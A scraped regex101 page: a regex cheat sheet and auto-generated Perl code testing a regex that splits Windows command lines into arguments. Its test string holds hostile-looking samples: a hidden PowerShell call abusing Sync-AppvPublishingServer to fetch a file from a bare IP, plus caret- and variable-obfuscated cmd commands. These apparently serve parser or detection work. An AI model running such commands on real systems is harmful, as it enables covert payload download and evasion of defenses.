Regular Expressions 101

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An explanation of your regex will be automatically generated as you type.
Detailed match information will be displayed here automatically.
  • All Tokens
  • Common Tokens
  • General Tokens
  • Anchors
  • Meta Sequences
  • Quantifiers
  • Group Constructs
  • Character Classes
  • Flags/Modifiers
  • Substitution
  • A single character of: a, b or c
    [abc]
  • A character except: a, b or c
    [^abc]
  • A character in the range: a-z
    [a-z]
  • A character not in the range: a-z
    [^a-z]
  • A character in the range: a-z or A-Z
    [a-zA-Z]
  • Any single character
    .
  • Alternate - match either a or b
    a|b
  • Any whitespace character
    \s
  • Any non-whitespace character
    \S
  • Any digit
    \d
  • Any non-digit
    \D
  • Any word character
    \w
  • Any non-word character
    \W
  • Non-capturing group
    (?:...)
  • Capturing group
    (...)
  • Zero or one of a
    a?
  • Zero or more of a
    a*
  • One or more of a
    a+
  • Exactly 3 of a
    a{3}
  • 3 or more of a
    a{3,}
  • Between 3 and 6 of a
    a{3,6}
  • Start of string
    ^
  • End of string
    $
  • A word boundary
    \b
  • Non-word boundary
    \B

Regular Expression
No Match

/
/
gmJ

Test String

Code Generator

Language

Generated Code

use strict; my $str = '"C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd32.exe" --type=renderer /prefetch:1 "R:\\Coficine\\MCI\\01 Activités\\03 PARTICIPATIONS\\2 Sociétés\\1 Particip. actuelles\\Monello Productions\\03. Dossier client\\01. KYC\\Actionnariat\\Actionnariat - 2018-05-03.pdf" "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" -NonInteractive -WindowStyle Hidden -ExecutionPolicy RemoteSigned -Command &amp;{$env:psmodulepath = [IO.Directory]::GetCurrentDirectory(); import-module AppvClient; Sync-AppvPublishingServer \\n;(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;Invoke-WebRequest -Uri http://209.97.141.246/ee/index_files/alert.css} "UNIT TESTS :" \'\' arg0\\ \\ \\\\ "arg1\\"\\"" "arg2\\"\\\\""arg3 \\"" \'arg4"arg4"\' arg5 arg6 space_bef_and_aft__arg0 arg1 arg2 arg3 space_aft___________arg0 arg1 arg2 arg3 space_bef__________arg0 arg1 arg2 arg3 nospace_____________arg0 arg1 arg2 arg3 multispace______________arg0 arg1 arg2 arg3 arg4 C:\\ProgramData\\Anaconda3\\python.exe C:\\ProgramData\\Anaconda3\\cwp.py C:\\ProgramData\\Anaconda3 C:\\ProgramData\\Anaconda3\\python.exe C:\\ProgramData\\Anaconda3\\Scripts\\jupyter-notebook-script.py "%USERPROFILE%/" . `echo `ls "/tmp"``\'``\' 1""3"4" n^e^t u^s^er cmd /c "set x=calc & echo %x% | cmd" cmd /c "set x=c@alc & echo %x:@=mantvydas% | cmd" \\c \\\\ \\\' \\" \'\\\'\\\'\\\'\\\'\\\'\\\'\\\'\\\\\' \'# this will take the C character from %programdata% and will launch the cmd prompt\' %programdata:~0,1%md \\c "whatever" @cmd set pSM PSModulePath=C:\\Users\\mantvydas\\Documents\\WindowsPowerShell\\Modules;.... FOR /F "tokens=7 delims=s\\\\" %g IN (\'set^|findstr PSM\') do %g cmd,/c;hostname '; my $regex = qr/(?#\ Doc: This regex will split the commandline in arguments Details: The arg variable will contain all the different arguments argument delimiters are in two categories : whitespaces delimiters : \t \n \r \v ' ' ',' : is a delimiter in the windows cmd but it's not one in the powershell quotation delimiters : \' \` \" Variables: arg : will contain each argument Next variables can be adjusted by adding or deleting delimiters quote_delimiters : quoted argument delimiters whitespace_delimiters : whitespace argument delimiters )(?#\ )(?<arg>(?#\ )(?<arg_quote>(?#\ )(?<quote_delimiters>"|'|`)(?#\ )(?:(?#\ )(?!\3)(?#\ )(?<escape>(?(?!\\)[\x00-\xFF]|[\x00-\xFF]{2}))(?#\ ))*(?#\ )\3(?#\ ))|(?<arg_whitespace>(?#\ )(?:(?#\ )(?!(?#\ )(?<whitespace_delimiters>\s|$)|(?#\ )(?P>quote_delimiters)(?#\ ))(?#\ )(?P>escape)(?#\ ))+(?#\ ))(?#\ ))(?#\ )(?#\ )(?#\ Related doc: https://docs.microsoft.com/fr-fr/cpp/c-language/parsing-c-command-line-arguments?view=vs-2019 http://daviddeley.com/autohotkey/parameters/parameters.htm )/mp; if ( $str =~ /$regex/g ) { print "Whole match is ${^MATCH} and its start/end positions can be obtained via \$-[0] and \$+[0]\n"; # print "Capture Group 1 is $1 and its start/end positions can be obtained via \$-[1] and \$+[1]\n"; # print "Capture Group 2 is $2 ... and so on\n"; } # ${^POSTMATCH} and ${^PREMATCH} are also available with the use of '/p' # Named capture groups can be called via $+{name}

Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for Perl, please visit: http://perldoc.perl.org/perlre.html